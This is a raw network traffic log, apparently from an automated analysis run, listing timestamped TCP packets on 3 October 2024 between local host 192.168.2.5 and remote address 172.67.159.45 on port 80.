Oct 3, 2024 05:02:56.992367029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.992367029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.992391109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.992402077 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.992413044 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.992422104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.992436886 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.992441893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.992460966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.992464066 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.992484093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.992485046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.992528915 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.992548943 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993031979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993051052 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993078947 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993086100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993093014 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993108034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993109941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993134022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993153095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993153095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993185997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993206024 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993228912 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993249893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993254900 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993272066 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993274927 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993294001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993294954 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993313074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993318081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993331909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993336916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993361950 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993369102 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993383884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993390083 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993407011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993407965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993424892 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993429899 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993443966 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993453026 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993473053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993479013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993494987 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.993498087 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993518114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.993535995 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994158983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994189978 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994210005 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994210005 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994232893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994235992 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994255066 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994261026 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994275093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994280100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994301081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994303942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994322062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994323969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994344950 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994357109 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994357109 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994366884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994385958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994389057 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994405985 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994410992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994427919 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994431973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994451046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994455099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994476080 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994479895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994496107 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994501114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994522095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994535923 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994539976 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994554996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994563103 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994570971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994585991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994590998 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994610071 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.994612932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994637012 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.994653940 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.995047092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995070934 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995105028 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.995135069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.995223999 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995245934 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995266914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995274067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.995289087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995310068 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995332956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995338917 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.995353937 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995373964 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995379925 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.995417118 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995433092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.995433092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.995435953 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995461941 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.995465040 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995486021 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.995488882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995503902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.995510101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995532036 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995552063 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.995553017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995572090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.995575905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995598078 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995609999 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.995621920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.995629072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.995665073 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.995687962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.996335030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.996354103 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.996378899 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.996401072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.996402025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.996422052 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.996424913 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.996471882 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.997392893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.997409105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.997436047 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.997457981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.997462034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.997479916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.997500896 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.997503996 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.997525930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.997535944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.997565031 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.997601032 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.085726976 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.085756063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.085782051 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.085845947 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.085926056 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.086364985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.086380959 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.086410046 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.086431980 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.086435080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.086453915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.086458921 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.086508989 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.086518049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.086536884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.086561918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.086568117 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.086582899 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.086602926 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.086610079 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.086627007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.086651087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.086657047 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.086668968 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.086680889 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.086714983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.086721897 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.086750984 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.086770058 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.086792946 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.086810112 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087563038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087593079 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087614059 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087625027 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087632895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087641954 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087657928 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087663889 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087677002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087686062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087702036 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087714911 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087722063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087732077 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087743044 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087749958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087764978 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087779999 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087783098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087800026 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087809086 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087819099 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087831020 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087836981 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087850094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087853909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087877035 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087881088 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087898970 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087901115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087917089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087920904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087939024 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087949038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087963104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087968111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.087982893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.087986946 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.088006020 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.088009119 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.088027000 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.088046074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.088759899 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.088776112 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.088799953 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.088819981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.088828087 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.088829041 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.088841915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.088866949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.088879108 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.088888884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.088897943 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.088912010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.088932991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.088942051 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.088954926 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.088977098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.088982105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.088999033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089010954 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.089018106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089041948 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089061975 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089082003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089090109 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.089098930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089109898 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.089124918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089132071 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.089139938 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089165926 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089170933 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.089270115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.089271069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.089533091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089551926 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089575052 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089584112 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.089622974 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.089652061 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.089710951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089725971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089754105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089761019 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.089777946 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089797020 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089818001 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.089821100 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089839935 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089845896 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.089864016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089883089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089899063 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.089910030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089917898 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.089929104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089955091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089965105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.089973927 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089992046 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.089997053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090019941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090033054 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090042114 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090061903 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090070963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090084076 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090087891 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090106010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090122938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090127945 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090147018 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090183020 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090565920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090581894 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090622902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090651989 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090747118 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090776920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090800047 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090800047 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090821981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090836048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090842962 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090852976 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090864897 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090877056 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090883970 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090902090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090909004 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090919018 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090928078 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090936899 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090951920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090960979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090970039 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090977907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.090996027 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.090998888 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.091015100 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.091017008 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.091041088 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.091042995 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.091061115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.091062069 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.091077089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.091083050 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.091100931 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.091104031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.091126919 CEST	80	49705	172.67.159.45	192.168.2.5
